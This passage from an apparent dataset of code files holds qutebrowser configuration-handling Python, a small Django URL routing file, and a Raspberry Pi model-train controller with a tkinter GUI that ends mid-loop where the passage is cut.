isinstance(opt.typ, configtypes.FontBase):\n continue\n\n for scope, val in values.items():\n if isinstance(val, str) and val.endswith(' monospace'):\n new_val = val.replace('monospace', 'default_family')\n self._settings[name][scope] = new_val\n self.changed.emit()\n\n def _migrate_bool(self, name: str,\n true_value: str,\n false_value: str) -> None:\n if name not in self._settings:\n return\n\n values = self._settings[name]\n if not isinstance(values, dict):\n return\n\n for scope, val in values.items():\n if isinstance(val, bool):\n new_value = true_value if val else false_value\n self._settings[name][scope] = new_value\n self.changed.emit()\n\n def _migrate_renamed_bool(self, old_name: str,\n new_name: str,\n true_value: str,\n false_value: str,\n ask_value: str = None) -> None:\n if old_name not in self._settings:\n return\n\n self._settings[new_name] = {}\n\n for scope, val in self._settings[old_name].items():\n if val == 'ask':\n assert ask_value is not None\n new_value = ask_value\n elif val:\n new_value = true_value\n else:\n new_value = false_value\n self._settings[new_name][scope] = new_value\n\n del self._settings[old_name]\n self.changed.emit()\n\n def _migrate_none(self, name: str, value: str) -> None:\n if name not in self._settings:\n return\n\n values = self._settings[name]\n if not isinstance(values, dict):\n return\n\n for scope, val in values.items():\n if val is None:\n self._settings[name][scope] = value\n self.changed.emit()\n\n def _migrate_to_multiple(self, old_name: str, new_names: Iterable[str]) -> None:\n if old_name not in self._settings:\n return\n\n for new_name in new_names:\n self._settings[new_name] = {}\n for scope, val in self._settings[old_name].items():\n self._settings[new_name][scope] = val\n\n del self._settings[old_name]\n self.changed.emit()\n\n def _migrate_string_value(self, name: str, source: str, target: str) -> None:\n if name not in self._settings:\n return\n\n values = self._settings[name]\n if not isinstance(values, dict):\n return\n\n for scope, val in values.items():\n if isinstance(val, str):\n new_val = re.sub(source, target, val)\n if new_val != val:\n self._settings[name][scope] = new_val\n self.changed.emit()\n\n def _remove_empty_patterns(self) -> None:\n \"\"\"Remove *. host patterns from the config.\n\n Those used to be valid (and could be accidentally produced by using tSH\n on about:blank), but aren't anymore.\n \"\"\"\n scope = '*://*./*'\n for name, values in self._settings.items():\n if not isinstance(values, dict):\n continue\n if scope in values:\n del self._settings[name][scope]\n self.changed.emit()\n\n\nclass ConfigAPI:\n\n \"\"\"Object which gets passed to config.py as \"config\" object.\n\n This is a small wrapper over the Config object, but with more\n straightforward method names (get/set call get_obj/set_obj) and a more\n shallow API.\n\n Attributes:\n _config: The main Config object to use.\n _keyconfig: The KeyConfig object.\n _warn_autoconfig: Whether to warn if autoconfig.yml wasn't loaded.\n errors: Errors which occurred while setting options.\n configdir: The qutebrowser config directory, as pathlib.Path.\n datadir: The qutebrowser data directory, as pathlib.Path.\n \"\"\"\n\n def __init__(\n self,\n conf: config.Config,\n keyconfig: config.KeyConfig,\n warn_autoconfig: bool,\n ):\n self._config = conf\n self._keyconfig = keyconfig\n self.errors: List[configexc.ConfigErrorDesc] = []\n self.configdir = pathlib.Path(standarddir.config())\n self.datadir = pathlib.Path(standarddir.data())\n self._warn_autoconfig = warn_autoconfig\n\n @contextlib.contextmanager\n def _handle_error(self, action: str, name: str) -> Iterator[None]:\n \"\"\"Catch config-related exceptions and save them in self.errors.\"\"\"\n try:\n yield\n except configexc.ConfigFileErrors as e:\n for err in e.errors:\n new_err = err.with_text(e.basename)\n self.errors.append(new_err)\n except configexc.Error as e:\n text = \"While {} '{}'\".format(action, name)\n self.errors.append(configexc.ConfigErrorDesc(text, e))\n except urlmatch.ParseError as e:\n text = \"While {} '{}' and parsing pattern\".format(action, name)\n self.errors.append(configexc.ConfigErrorDesc(text, e))\n except keyutils.KeyParseError as e:\n text = \"While {} '{}' and parsing key\".format(action, name)\n self.errors.append(configexc.ConfigErrorDesc(text, e))\n\n def finalize(self) -> None:\n \"\"\"Do work which needs to be done after reading config.py.\"\"\"\n if self._warn_autoconfig:\n desc = configexc.ConfigErrorDesc(\n \"autoconfig loading not specified\",\n (\"Your config.py should call either `config.load_autoconfig()`\"\n \" (to load settings configured via the GUI) or \"\n \"`config.load_autoconfig(False)` (to not do so)\"))\n self.errors.append(desc)\n self._config.update_mutables()\n\n def load_autoconfig(self, load_config: bool = True) -> None:\n \"\"\"Load the autoconfig.yml file which is used for :set/:bind/etc.\"\"\"\n self._warn_autoconfig = False\n if load_config:\n with self._handle_error('reading', 'autoconfig.yml'):\n read_autoconfig()\n\n def get(self, name: str, pattern: str = None) -> Any:\n \"\"\"Get a setting value from the config, optionally with a pattern.\"\"\"\n with self._handle_error('getting', name):\n urlpattern = urlmatch.UrlPattern(pattern) if pattern else None\n return self._config.get_mutable_obj(name, pattern=urlpattern)\n\n def set(self, name: str, value: Any, pattern: str = None) -> None:\n \"\"\"Set a setting value in the config, optionally with a pattern.\"\"\"\n with self._handle_error('setting', name):\n urlpattern = urlmatch.UrlPattern(pattern) if pattern else None\n self._config.set_obj(name, value, pattern=urlpattern)\n\n def bind(self, key: str, command: Optional[str], mode: str = 'normal') -> None:\n \"\"\"Bind a key to a command, with an optional key mode.\"\"\"\n with self._handle_error('binding', key):\n seq = keyutils.KeySequence.parse(key)\n if command is None:\n raise configexc.Error(\"Can't bind {key} to None (maybe you \"\n \"want to use config.unbind('{key}') \"\n \"instead?)\".format(key=key))\n self._keyconfig.bind(seq, command, mode=mode)\n\n def unbind(self, key: str, mode: str = 'normal') -> None:\n \"\"\"Unbind a key from a command, with an optional key mode.\"\"\"\n with self._handle_error('unbinding', key):\n seq = keyutils.KeySequence.parse(key)\n self._keyconfig.unbind(seq, mode=mode)\n\n def source(self, filename: str) -> None:\n \"\"\"Read the given config file from disk.\"\"\"\n if not os.path.isabs(filename):\n # We don't use self.configdir here so we get the proper file when starting\n # with a --config-py argument given.\n filename = os.path.join(os.path.dirname(standarddir.config_py()), filename)\n\n try:\n read_config_py(filename)\n except configexc.ConfigFileErrors as e:\n self.errors += e.errors\n\n @contextlib.contextmanager\n def pattern(self, pattern: str) -> Iterator[config.ConfigContainer]:\n \"\"\"Get a ConfigContainer for the given pattern.\"\"\"\n # We need to propagate the exception so we don't need to return\n # something.\n urlpattern = urlmatch.UrlPattern(pattern)\n container = config.ConfigContainer(config=self._config, configapi=self,\n pattern=urlpattern)\n yield container\n\n\nclass ConfigPyWriter:\n\n \"\"\"Writer for config.py files from given settings.\"\"\"\n\n def __init__(\n self,\n options: List,\n bindings: MutableMapping[str, Mapping[str, Optional[str]]],\n *, commented: bool) -> None:\n self._options = options\n self._bindings = bindings\n self._commented = commented\n\n def write(self, filename: str) -> None:\n \"\"\"Write the config to the given file.\"\"\"\n with open(filename, 'w', encoding='utf-8') as f:\n f.write('\\n'.join(self._gen_lines()))\n\n def _line(self, line: str) -> str:\n \"\"\"Get an (optionally commented) line.\"\"\"\n if self._commented:\n if line.startswith('#'):\n return '#' + line\n else:\n return '# ' + line\n else:\n return line\n\n def _gen_lines(self) -> Iterator[str]:\n \"\"\"Generate a config.py with the given settings/bindings.\n\n Yields individual lines.\n \"\"\"\n yield from self._gen_header()\n yield from self._gen_options()\n yield from self._gen_bindings()\n\n def _gen_header(self) -> Iterator[str]:\n \"\"\"Generate the initial header of the config.\"\"\"\n yield self._line(\"# Autogenerated config.py\")\n yield self._line(\"#\")\n\n note = (\"NOTE: config.py is intended for advanced users who are \"\n \"comfortable with manually migrating the config file on \"\n \"qutebrowser upgrades. If you prefer, you can also configure \"\n \"qutebrowser using the :set/:bind/:config-* commands without \"\n \"having to write a config.py file.\")\n for line in textwrap.wrap(note):\n yield self._line(\"# {}\".format(line))\n\n yield self._line(\"#\")\n yield self._line(\"# Documentation:\")\n yield self._line(\"# qute://help/configuring.html\")\n yield self._line(\"# qute://help/settings.html\")\n yield ''\n if self._commented:\n # When generated from an autoconfig.yml with commented=False,\n # we don't want to load that autoconfig.yml anymore.\n yield self._line(\"# This is here so configs done via the GUI are \"\n \"still loaded.\")\n yield self._line(\"# Remove it to not load settings done via the \"\n \"GUI.\")\n yield self._line(\"config.load_autoconfig(True)\")\n yield ''\n else:\n yield self._line(\"# Change the argument to True to still load settings \"\n \"configured via autoconfig.yml\")\n yield self._line(\"config.load_autoconfig(False)\")\n yield ''\n\n def _gen_options(self) -> Iterator[str]:\n \"\"\"Generate the options part of the config.\"\"\"\n for pattern, opt, value in self._options:\n if opt.name in ['bindings.commands', 'bindings.default']:\n continue\n\n for line in textwrap.wrap(opt.description):\n yield self._line(\"# {}\".format(line))\n\n yield self._line(\"# Type: {}\".format(opt.typ.get_name()))\n\n valid_values = opt.typ.get_valid_values()\n if valid_values is not None and valid_values.generate_docs:\n yield self._line(\"# Valid values:\")\n for val in valid_values:\n try:\n desc = valid_values.descriptions[val]\n yield self._line(\"# - {}: {}\".format(val, desc))\n except KeyError:\n yield self._line(\"# - {}\".format(val))\n\n if pattern is None:\n yield self._line('c.{} = {!r}'.format(opt.name, value))\n else:\n yield self._line('config.set({!r}, {!r}, {!r})'.format(\n opt.name, value, str(pattern)))\n yield ''\n\n def _gen_bindings(self) -> Iterator[str]:\n \"\"\"Generate the bindings part of the config.\"\"\"\n normal_bindings = self._bindings.pop('normal', {})\n if normal_bindings:\n yield self._line('# Bindings for normal mode')\n for key, command in sorted(normal_bindings.items()):\n if command is None:\n yield self._line('config.unbind({!r})'.format(key))\n else:\n yield self._line('config.bind({!r}, {!r})'.format(\n key, command))\n yield ''\n\n for mode, mode_bindings in sorted(self._bindings.items()):\n yield self._line('# Bindings for {} mode'.format(mode))\n for key, command in sorted(mode_bindings.items()):\n if command is None:\n yield self._line('config.unbind({!r}, mode={!r})'.format(\n key, mode))\n else:\n yield self._line(\n 'config.bind({!r}, {!r}, mode={!r})'.format(\n key, command, mode))\n yield ''\n\n\ndef read_config_py(\n filename: str,\n raising: bool = False,\n warn_autoconfig: bool = False,\n) -> None:\n \"\"\"Read a config.py file.\n\n Arguments;\n filename: The name of the file to read.\n raising: Raise exceptions happening in config.py.\n This is needed during tests to use pytest's inspection.\n warn_autoconfig: Whether to warn if config.load_autoconfig() wasn't specified.\n \"\"\"\n assert config.instance is not None\n assert config.key_instance is not None\n\n api = ConfigAPI(\n config.instance,\n config.key_instance,\n warn_autoconfig=warn_autoconfig,\n )\n container = config.ConfigContainer(config.instance, configapi=api)\n basename = os.path.basename(filename)\n\n module = types.ModuleType('config')\n module.config = api # type: ignore[attr-defined]\n module.c = container # type: ignore[attr-defined]\n module.__file__ = filename\n\n try:\n with open(filename, mode='rb') as f:\n source = f.read()\n except OSError as e:\n text = \"Error while reading {}\".format(basename)\n desc = configexc.ConfigErrorDesc(text, e)\n raise configexc.ConfigFileErrors(basename, [desc])\n\n try:\n code = compile(source, filename, 'exec')\n except ValueError as e:\n # source contains NUL bytes\n desc = configexc.ConfigErrorDesc(\"Error while compiling\", e)\n raise configexc.ConfigFileErrors(basename, [desc])\n except SyntaxError as e:\n desc = configexc.ConfigErrorDesc(\"Unhandled exception\", e,\n traceback=traceback.format_exc())\n raise configexc.ConfigFileErrors(basename, [desc])\n\n try:\n # Save and restore sys variables\n with saved_sys_properties():\n # Add config directory to python path, so config.py can import\n # other files in logical places\n config_dir = os.path.dirname(filename)\n if config_dir not in sys.path:\n sys.path.insert(0, config_dir)\n\n exec(code, module.__dict__)\n except Exception as e:\n if raising:\n raise\n api.errors.append(configexc.ConfigErrorDesc(\n \"Unhandled exception\",\n exception=e, traceback=traceback.format_exc()))\n\n api.finalize()\n config.instance.config_py_loaded = True\n\n if api.errors:\n raise configexc.ConfigFileErrors('config.py', api.errors)\n\n\ndef read_autoconfig() -> None:\n \"\"\"Read the autoconfig.yml file.\"\"\"\n try:\n config.instance.read_yaml()\n except configexc.ConfigFileErrors:\n raise # caught in outer block\n except configexc.Error as e:\n desc = configexc.ConfigErrorDesc(\"Error\", e)\n raise configexc.ConfigFileErrors('autoconfig.yml', [desc])\n\n\n@contextlib.contextmanager\ndef saved_sys_properties() -> Iterator[None]:\n \"\"\"Save various sys properties such as sys.path and sys.modules.\"\"\"\n old_path = sys.path.copy()\n old_modules = sys.modules.copy()\n\n try:\n yield\n finally:\n sys.path = old_path\n for module in set(sys.modules).difference(old_modules):\n del sys.modules[module]\n\n\ndef init() -> None:\n \"\"\"Initialize config storage not related to the main config.\"\"\"\n global state\n\n try:\n state = StateConfig()\n except (configparser.Error, UnicodeDecodeError) as e:\n msg = \"While loading state file from {}\".format(standarddir.data())\n desc = configexc.ConfigErrorDesc(msg, e)\n raise configexc.ConfigFileErrors('state', [desc], fatal=True)\n\n # Set the QSettings path to something like\n # ~/.config/qutebrowser/qsettings/qutebrowser/qutebrowser.conf so it\n # doesn't overwrite our config.\n #\n # This fixes one of the corruption issues here:\n # https://github.com/qutebrowser/qutebrowser/issues/515\n\n path = os.path.join(standarddir.config(auto=True), 'qsettings')\n for fmt in [QSettings.NativeFormat, QSettings.IniFormat]:\n QSettings.setPath(fmt, QSettings.UserScope, path)\n", "source": "fochoao/cpython", "license": "bzip2-1.0.6"} {"text": "from django.urls import path\n\n\nfrom .views import show_course, helloworld, post_index, get_detail, create_article, delete_article, update_article\n\n\napp_name = 'jwxt'\n\nurlpatterns = [\n path('course_table/', show_course),\n path('hello/', helloworld),\n path('blog/', post_index, name = \"blog\"),\n path('blog/detail/', get_detail, name = \"detail\"),\n path('blog/create', create_article, name = \"create\"),\n path('blog/delete/', delete_article, name='delete'),\n path('blog/update/', update_article, name = 'update'),\n]\n\n\n\n", "source": "paressuex11/mysite", "license": "Apache-2.0"} {"text": "import RPi.GPIO as GPIO\nfrom rpi_hardware_pwm import HardwarePWM\nimport tkinter\nfrom tkinter import *\nimport time\n# https://sourceforge.net/p/raspberry-gpio-python/wiki/BasicUsage/\n\n# The settings that RPi.GPIO uses to work out which pin number system to use (either pin number or GPIO number)\nGPIO.setmode(GPIO.BOARD)\n# The RPi.GPIO library will warn the user every time you try to designated new pins.\n# This can be turned off to keep the program neat\nGPIO.setwarnings(False)\n\n# Each GPIO pin is given a designation to make the code easier to read.\nIN1 = 22 # point 1\nIN2 = 23 # point 2\nIN3 = 24 # point 3\nIN4 = 26 # point 4\npwm_ok = 40 # SF\npwm_enable_pin = 36 # D2\nM1D = 38 # M1D\nM2D = 37 # M2D\nM1P = 1 # channel numbering for PWM pin\nS1 = 21 # Solenoid\n\n# Setting up the GPIO output to control the solenoid valve\nGPIO.setup(S1, GPIO.OUT)\n\n\n# Setting up the GPIO pins for the for power to the tracks from the motor driver.\n# https://sourceforge.net/p/raspberry-gpio-python/wiki/Outputs/\nGPIO.setup(pwm_ok, GPIO.IN, pull_up_down=GPIO.PUD_DOWN)\nGPIO.setup(pwm_enable_pin, GPIO.OUT)\nGPIO.setup(M1D, GPIO.OUT)\n# Initialising the pulse width modulation at 10000Hz for channel 1\nTrackPWM = HardwarePWM(1, hz=10000)\n\n\n# https://eepower.com/resistor-guide/resistor-applications/pull-up-resistor-pull-down-resistor/#\n# https://sourceforge.net/p/raspberry-gpio-python/wiki/Inputs/\n# Setting up the GPIO inputs for each reed switch on the train board\nGPIO.setup(8, GPIO.IN, pull_up_down=GPIO.PUD_UP)\nGPIO.setup(10, GPIO.IN, pull_up_down=GPIO.PUD_UP)\nGPIO.setup(7, GPIO.IN, pull_up_down=GPIO.PUD_UP)\nGPIO.setup(11, GPIO.IN, pull_up_down=GPIO.PUD_UP)\nGPIO.setup(12, GPIO.IN, pull_up_down=GPIO.PUD_UP)\nGPIO.setup(13, GPIO.IN, pull_up_down=GPIO.PUD_UP)\nGPIO.setup(15, GPIO.IN, pull_up_down=GPIO.PUD_UP)\nGPIO.setup(16, GPIO.IN, pull_up_down=GPIO.PUD_UP)\nGPIO.setup(18, GPIO.IN, pull_up_down=GPIO.PUD_UP)\n\n\n# https://www.w3schools.com/python/python_dictionaries.asp\n# I used a dictionary to list the corresponding pins for each reed switch (locator)\n# You can call T1 and it gives you pin #8\nlocator = {\"T1\": 8, \"T2\": 10, \"T3\": 7, \"T4\": 11, \"T5\": 12, \"T6\": 13, \"T7\": 15, \"T8\": 16, \"T9\": 18}\n\n\n# This function enables or disables the power to the track. This makes sure that the user doesn't receive electric\n# shocks because the power to the board is still engaged when they are trying to move the locomotive. Based on previous\n# experience...\ndef track_enable(enable): # either 1 or 0\n # https://www.pololu.com/docs/0J55/4.b\n # https://sourceforge.net/p/raspberry-gpio-python/wiki/Outputs/\n GPIO.setup(pwm_enable_pin, GPIO.OUT)\n GPIO.output(pwm_enable_pin, enable)\n\n return enable\n\n\n# This class function sets up an object for each track switch. This essentially means that for the layout there are\n# two switches made up of 2 pins each. Instead of controlling each pin seperately, you control them as a pair. One\n# can be designated left and the other right.\nclass Point:\n def __init__(self, left, right): # pins for switch\n self.left = left\n self.right = right\n GPIO.setup(self.left, GPIO.OUT)\n GPIO.setup(self.right, GPIO.OUT)\n # https://docs.python.org/3/tutorial/classes.html\n self.value_return = []\n\n# This function switches each point if its not already in that position. It does this by reading what direction it was\n# designated last time it was switched. If the switch is not in the correct position, it is switched to the right one.\n def switch_point(self, point_side): # left or right, can also be 0 or 1\n if point_side == \"left\" or point_side == 0:\n\n if Point.read(self) == 1 or Point.read(self) == []:\n # The solenoid in the track switch is powered for 0.5 seconds. This is just enough time to switch the\n # switch so the solenoid doesn't burn out from being left on too long.\n GPIO.output(self.left, GPIO.HIGH)\n time.sleep(0.5)\n GPIO.output(self.left, GPIO.LOW)\n\n self.value_return = 0 # returns the value of the switch\n\n else:\n self.value_return = 0 # returns the value of the switch\n\n if point_side == \"right\" or point_side == 1:\n if Point.read(self) == 0 or Point.read(self) == []:\n # The solenoid in the track switch is powered for 0.5 seconds. This is just enough time to switch the\n # switch so the solenoid doesn't burn out from being left on too long.\n GPIO.output(self.right, GPIO.HIGH)\n time.sleep(0.5)\n GPIO.output(self.right, GPIO.LOW)\n\n self.value_return = 1 # returns the value of the switch\n\n else:\n self.value_return = 1 # returns the value of the switch\n\n def read(self):\n return self.value_return\n\n\n# This class function designates each locomotive as an object. This means that if multiple locomotives were being\n# controlled, then the system could tell them apart. Currently, in the program I have seperately designated a pneumatic\n# locomotive and an electric locomotive for the prototype system. In future, I could control multiple trains.\nclass Locomotive:\n def __init__(self, pwr):\n self.pwr = bool(pwr) # either 1 for electric or 0 for pneumatic\n\n def throttle(self, direction, speed): # 1 or 0 for direction, 0-100 for speed\n # https://www.pololu.com/docs/0J55/4.b\n # https://pypi.org/project/rpi-hardware-pwm/\n if self.pwr == 1: # electric locomotive\n if GPIO.input(pwm_ok) == GPIO.HIGH: # Checking that the motor driver is working properly\n GPIO.output(M1D, direction)\n TrackPWM.start(speed)\n\n return direction, speed\n\n if self.pwr == 0: # pneumatic\n # tells the solenoid to power on or off depending on the input given to the function.\n if speed == 0:\n GPIO.output(S1, GPIO.LOW)\n\n if speed > 0:\n GPIO.output(S1, GPIO.HIGH)\n\n def stop(self):\n # tells the locomotive object to stop, whether it is electric or pneumatic\n if self.pwr == 1: # electric locomotive\n TrackPWM.stop()\n return 0, 0 # direction and speed\n\n if self.pwr == 0: # pneumatic\n GPIO.output(S1, GPIO.LOW)\n\n\n# https://www.tutorialspoint.com/python/tk_canvas.htm\n# The graphical user interface objects are designated in these lines of code. This includes the size and type of the\n# window. I am using a canvas, which is a tkinter window that allows me to draw shapes on it vs just placing buttons.\ntop = tkinter.Tk()\nwidth_window, height_window = 1024, 576 # 576x1024 resolution\n\nC = tkinter.Canvas(top, bg=\"black\", height=height_window, width=width_window)\n\n\n# I used this function to make it easier to draw shapes in tkinter. Instead of providing coordinates for each corner, I\n# created this function to take a centre coordinate and a size, and then output the 4 coordinates that tkinter uses\n# I also used the function to specify a colour and whether the rectangle is filled or an outline of a certain thickness.\ndef rectangle(h, k, a, b, thickness, outline, colour):\n x1 = h-a\n x2 = h+a\n y1 = k+b\n y2 = k-b\n\n x1_filling = h-a+thickness\n x2_filling = h+a-thickness\n y1_filling = k+b-thickness\n y2_filling = k-b+thickness\n\n C.create_rectangle(x1, y1, x2, y2, fill=colour) # creates a rectangle on the screen based on the parameters given\n\n if outline == 1: # creates a black rectangle on the screen to make the outline.\n C.create_rectangle(x1_filling, y1_filling, x2_filling, y2_filling, fill=\"black\")\n\n\n# This class designates an object for each locator (reed switch) that is created to act as a station for the locomotive\n# to travel to. When the reed switch is triggered, or the GUI is updated via a mouse click, the state of the locator is\n# updated to reflect what is happening.\nclass Locator:\n def __init__(self, x, y, name):\n self.x = x\n self.y = y\n self.name = name\n rectangle(self.x, self.y, 20, 20, 0, 0, \"red\")\n C.create_text(self.x, self.y, fill=\"white\", font=\"Times 15 bold\", text=self.name)\n\n def detection(self): # a function that updates the GUI based on sensor data\n rectangle(self.x, self.y, 20, 20, 0, 0, \"green\")\n\n # https://www.codegrepper.com/code-examples/python/display+a+string+in+canvas+python+tkinter\n C.create_text(self.x, self.y, fill=\"white\", font=\"Times 15 bold\", text=self.name)\n\n def un_detection(self): # a function that updates the GUI to clear any current changes\n rectangle(self.x, self.y, 20, 20, 0, 0, \"red\")\n\n # https://www.codegrepper.com/code-examples/python/display+a+string+in+canvas+python+tkinter\n C.create_text(self.x, self.y, fill=\"white\", font=\"Times 15 bold\", text=self.name)\n\n def destination(self): # a function that updates the GUI to show that the locomotive is travelling there\n rectangle(self.x, self.y, 20, 20, 0, 0, \"magenta\")\n\n # https://www.codegrepper.com/code-examples/python/display+a+string+in+canvas+python+tkinter\n C.create_text(self.x, self.y, fill=\"white\", font=\"Times 15 bold\", text=self.name)\n\n def location(self): # a function that updates the GUI to show the last location of the locomotive\n rectangle(self.x, self.y, 20, 20, 0, 0, \"blue\")\n\n # https://www.codegrepper.com/code-examples/python/display+a+string+in+canvas+python+tkinter\n C.create_text(self.x, self.y, fill=\"white\", font=\"Times 15 bold\", text=self.name)\n\n def selection(self): # a function that updates the GUI to show the user selection for a destination\n rectangle(self.x, self.y, 20, 20, 0, 0, \"purple\")\n\n # https://www.codegrepper.com/code-examples/python/display+a+string+in+canvas+python+tkinter\n C.create_text(self.x, self.y, fill=\"white\", font=\"Times 15 bold\", text=self.name)\n\n\n# https://stackoverflow.com/questions/42476040/tkinter-get-mouse-coordinates-on-click-and-use-them-as-variables\n# A function that obtains the mouse coordinates of a left click in the GUI. This is used to input selections to the\n# program. The x and y coordinates are displayed as (x, y)\ndef get_origin(event_origin):\n global x, y\n x = event_origin.x\n y = event_origin.y\n print(x, y)\n\n # https://www.geeksforgeeks.org/chaining-comparison-operators-python/\n # If the mouse coordinates are within the GUI buttons that correspond to each station, then the program activates\n # that station and makes a selection.\n if 840 < x < 880 and 60 < y < 100: # T9\n T1.un_detection()\n T2.un_detection()\n T3.un_detection()\n T4.un_detection()\n T5.un_detection()\n T6.un_detection()\n T7.un_detection()\n T8.un_detection()\n T9.selection()\n locator_in.set(\"T9\")\n\n if 840 < x < 880 and 475 < y < 515: # T2\n T1.un_detection()\n T2.selection()\n T3.un_detection()\n T4.un_detection()\n T5.un_detection()\n T6.un_detection()\n T7.un_detection()\n T8.un_detection()\n T9.un_detection()\n locator_in.set(\"T2\")\n\n if 840 < x < 880 and 260 < y < 300: # T1\n T1.selection()\n T2.un_detection()\n T3.un_detection()\n T4.un_detection()\n T5.un_detection()\n T6.un_detection()\n T7.un_detection()\n T8.un_detection()\n T9.un_detection()\n locator_in.set(\"T1\")\n\n if 490 < x < 530 and 60 < y < 100: # T7\n T1.un_detection()\n T2.un_detection()\n T3.un_detection()\n T4.un_detection()\n T5.un_detection()\n T6.un_detection()\n T7.selection()\n T8.un_detection()\n T9.un_detection()\n locator_in.set(\"T7\")\n\n if 490 < x < 530 and 140 < y < 180: # T8\n T1.un_detection()\n T2.un_detection()\n T3.un_detection()\n T4.un_detection()\n T5.un_detection()\n T6.un_detection()\n T7.un_detection()\n T8.selection()\n T9.un_detection()\n locator_in.set(\"T8\")\n\n if 490 < x < 530 and 480 < y < 520: # T3\n T1.un_detection()\n T2.un_detection()\n T3.selection()\n T4.un_detection()\n T5.un_detection()\n T6.un_detection()\n T7.un_detection()\n T8.un_detection()\n T9.un_detection()\n locator_in.set(\"T3\")\n\n if 145 < x < 185 and 60 < y < 100: # T6\n T1.un_detection()\n T2.un_detection()\n T3.un_detection()\n T4.un_detection()\n T5.un_detection()\n T6.selection()\n T7.un_detection()\n T8.un_detection()\n T9.un_detection()\n locator_in.set(\"T6\")\n\n if 145 < x < 185 and 260 < y < 300: # T5\n T1.un_detection()\n T2.un_detection()\n T3.un_detection()\n T4.un_detection()\n T5.selection()\n T6.un_detection()\n T7.un_detection()\n T8.un_detection()\n T9.un_detection()\n locator_in.set(\"T5\")\n\n if 145 < x < 185 and 475 < y < 515: # T4\n T1.un_detection()\n T2.un_detection()\n T3.un_detection()\n T4.selection()\n T5.un_detection()\n T6.un_detection()\n T7.un_detection()\n T8.un_detection()\n T9.un_detection()\n locator_in.set(\"T4\")\n\n\n# ------------------------- Setup ------------------------------------\n\n# This section of the program draws all the shapes and defines the variables that tkinter uses to create the GUI.\n\n# The map of the track\nrectangle(width_window/2, height_window/2, 500*0.7, 300*0.7, 5, 1, \"blue\")\nrectangle(width_window/2, height_window/2-167.5, 200*0.7, 60*0.7, 5, 1, \"blue\")\n\nT6 = Locator(165, 80, \"T6\")\nT5 = Locator(165, 80+200, \"T5\")\nT4 = Locator(165, 80+415, \"T4\")\n\nT7 = Locator(510, 80, \"T7\")\nT8 = Locator(510, 160, \"T8\")\nT3 = Locator(510, 80+415, \"T3\")\n\nT9 = Locator(860, 80, \"T9\")\nT1 = Locator(860, 80+200, \"T1\")\nT2 = Locator(860, 80+415, \"T2\")\n\n# The variables that are in the text fields in the GUI\nlocator_in = tkinter.StringVar()\nspeed_in = tkinter.StringVar()\ndirection_in = tkinter.StringVar()\n\n# The variables default values\nlocator_in.set(\"\")\nspeed_in.set(100)\ndirection_in.set(0)\n\n# Defining the text fields as tkinter objects plus the text that the user sees.\n# https://www.geeksforgeeks.org/python-tkinter-entry-widget/\nentry1 = tkinter.Entry(top, textvariable=speed_in)\n# https://stackoverflow.com/questions/17417467/python-text-input-within-a-tkinter-canvas\nC.create_window(400, 200, window=entry1)\nC.create_text(250, 200, fill=\"white\", font=\"Times 12 bold\", text='Speed (0-100)')\n\nentry2 = tkinter.Entry(top, textvariable=direction_in)\nC.create_window(400, 240, window=entry2)\nC.create_text(250, 240, fill=\"white\", font=\"Times 12 bold\", text='Direction (0 or 1)')\n\nentry3 = tkinter.Entry(top, textvariable=locator_in)\nC.create_window(400, 280, window=entry3)\nC.create_text(250, 280, fill=\"white\", font=\"Times 12 bold\", text='Locator (T1-9)')\n\nC.pack(fill=\"both\", expand=True)\n# ------------------------- Track Sequence ------------------------------------\n\n# Define the objects for the two points that switch the tracks. Then the program moves all the switches to the right\n# or 1 position\npoint_1 = Point(IN1, IN2)\npoint_2 = Point(IN3, IN4)\n\nprint(\"point_1:\" + str(point_1.read())) # returns the value of the switch\nprint(\"point_1:\" + str(point_2.read())) # returns the value of the switch\n\npoint_1.switch_point(1)\nprint(\"point_1:\" + str(point_1.read())) # returns the value of the switch\npoint_2.switch_point(1)\nprint(\"point_1:\" + str(point_2.read())) # returns the value of the switch\n\n# Defines the objects for the locomotives. One is pneumatic and the other is electric.\ntrain = Locomotive(1)\ntrain_pneumatic = Locomotive(0)\n\n\ndef go(): # A function that runs the sequence for controlling where the train goes and how it gets there.\n\n # Enables the track so it can be powered.\n track_enable(1)\n\n # reads the values from the text entry fields on the GUI\n train_speed = int(str(speed_in.get()))\n train_direction = int(str(direction_in.get()))\n locator_input = str(locator_in.get())\n\n train_locator = locator[locator_input] # a dict function that translates human readable T# values into pi GPIO\n\n # If the locomotive has to go to T8, then it must switch the tracks so it is able to get there. Otherwise it will\n # loop around forever.\n if locator_input == \"T8\":\n point_1.switch_point(0) # switches the track if its not already in the right position\n print(\"point_1:\" + str(point_1.read())) # returns the value of the switch\n\n point_2.switch_point(0) # switches the track if its not already in the right position\n print(\"point_2:\" + str(point_2.read())) # returns the value of the switch\n\n else:\n point_1.switch_point(1) # switches the track if its not already in the right position\n print(\"point_1:\" + str(point_1.read())) # returns the value of the switch\n\n point_2.switch_point(1) # switches the track if its not already in the right position\n print(\"point_2:\" + str(point_2.read())) # returns the value of the switch\n\n # if the destination is set as T# then that locator must be updated correspondingly.\n if locator_input == \"T1\":\n T1.destination()\n top.update()\n\n if locator_input == \"T2\":\n T2.destination()\n top.update()\n\n if locator_input == \"T3\":\n T3.destination()\n top.update()\n\n if locator_input == \"T4\":\n T4.destination()\n top.update()\n\n if locator_input == \"T5\":\n T5.destination()\n top.update()\n\n if locator_input == \"T6\":\n T6.destination()\n top.update()\n\n if locator_input == \"T7\":\n T7.destination()\n top.update()\n\n if locator_input == \"T8\":\n T8.destination()\n top.update()\n\n if locator_input == \"T9\":\n T9.destination()\n top.update()\n\n while True:\n\n # instructing the locomotive to set off in the direction designated, and at the correct speed.\n train.throttle(train_direction, train_speed)\n train_pneumatic.throttle(train_direction, train_speed)\n\n # if the destination is detected, then stop the train and update the GUI.\n if GPIO.input(train_locator) == GPIO.LOW:\n train.stop() # stops the locomotive\n train_pneumatic.stop()\n print(\"stopped\")\n track_enable(0) # disables the track so it doesn't have power\n top.update()\n T1.un_detection()\n T2.un_detection()\n T3.un_detection()\n T4.un_detection()\n T5.un_detection()\n T6.un_detection()\n T7.un_detection()\n T8.un_detection()\n T9.un_detection()\n\n # otherwise, update the GUI as to the location of the locomotive.\n if locator_input == \"T1\":\n T1.location()\n top.update()\n\n if locator_input == \"T2\":\n T2.location()\n top.update()\n\n if locator_input == \"T3\":\n T3.location()\n top.update()\n\n if locator_input == \"T4\":\n T4.location()\n top.update()\n\n if locator_input == \"T5\":\n T5.location()\n top.update()\n\n if locator_input == \"T6\":\n T6.location()\n top.update()\n\n if locator_input == \"T7\":\n T7.location()\n top.update()\n\n if locator_input == \"T8\":\n T8.location()\n 